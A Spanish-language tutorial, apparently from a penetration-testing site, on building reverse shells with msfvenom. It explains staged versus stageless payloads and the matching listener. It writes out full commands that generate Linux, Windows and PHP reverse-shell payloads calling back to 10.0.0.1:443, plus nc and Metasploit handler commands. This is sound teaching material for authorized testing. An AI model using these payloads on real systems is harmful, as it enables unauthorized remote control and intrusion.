Reverse shell con msfvenom: staged frente a stageless y la trampa del listener
Cómo generar un reverse shell con msfvenom, la diferencia entre payloads staged y stageless, y por qué tu listener nc captura uno pero no el otro.
msfvenom genera un payload como archivo —un ELF, un EXE o un script que entregas y ejecutas— en lugar de un one-liner que pegas. Es la herramienta adecuada cuando necesitas un binario compilado o un formato concreto, y la equivocada cuando bastaría con un one-liner. La parte que hace tropezar a todo el mundo no es la generación; es emparejar el payload con el listener correcto.
Generar el payload
El patrón es -p PAYLOAD LHOST= LPORT= -f FORMAT -o FILE:
# Linux ELF, stageless
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.0.0.1 LPORT=443 -f elf -o shell.elf
# Windows EXE, stageless
msfvenom -p windows/x64/shell_reverse_tcp LHOST=10.0.0.1 LPORT=443 -f exe -o shell.exe
# PHP, for a web target
msfvenom -p php/reverse_php LHOST=10.0.0.1 LPORT=443 -f raw -o shell.php
-f controla el formato de salida; msfvenom --list formats los muestra todos. Lista los payloads con msfvenom --list payloads | grep reverse.
Staged frente a stageless: la distinción clave
Esto es lo más importante que hay que entender, porque dicta tu listener.
- Stageless (
shell_reverse_tcp): toda la shell está en el payload. Conecta de vuelta y ya tienes una shell. Un simplenc -lvnp 443la captura. - Staged (
shell/reverse_tcp— fíjate en la barra): el payload es un stager diminuto que conecta de vuelta y descarga el resto de la shell desde tu handler. Un listenerncsimple recibe la petición del stager, no tiene nada que devolverle, y la shell muere al instante.
Lee el nombre del payload con cuidado: un guion bajo (shell_reverse_tcp) es stageless; una barra (shell/reverse_tcp) es staged. Ese único carácter decide si nc funciona.
La trampa del listener
La queja número uno con msfvenom —"conecta y luego se desconecta de inmediato"— es casi siempre un payload staged llegando a un listener tonto. Los payloads staged y los de Meterpreter necesitan el handler de Metasploit, configurado con el mismísimo payload:
msfconsole -q -x "use exploit/multi/handler; \
set payload windows/x64/shell_reverse_tcp; \
set LHOST 10.0.0.1; set LPORT 443; run"
PAYLOAD, LHOST y LPORT en el handler deben coincidir exactamente con lo que pusiste en msfvenom. Si quieres capturar con nc a secas, genera un payload stageless. Es el mismo desajuste payload-listener que se trata de forma general en elegir un listener; msfvenom simplemente lo pone fácil de equivocar.
Cuándo NO usar msfvenom
Si el objetivo ya tiene bash, python o PHP, un one-liner es más rápido, fileless y deja menos en disco que un binario generado. Recurre a msfvenom cuando necesites específicamente un artefacto compilado o una sesión de Meterpreter; de lo contrario, consulta bash, python o el generador de reverse shells para un one-liner con el listener correspondiente ya adjunto.
Solo pruebas autorizadas
Genera y despliega payloads de msfvenom únicamente contra sistemas de tu propiedad o que tengas autorización explícita para probar. Es la autorización lo que hace legítimo el trabajo, no las herramientas.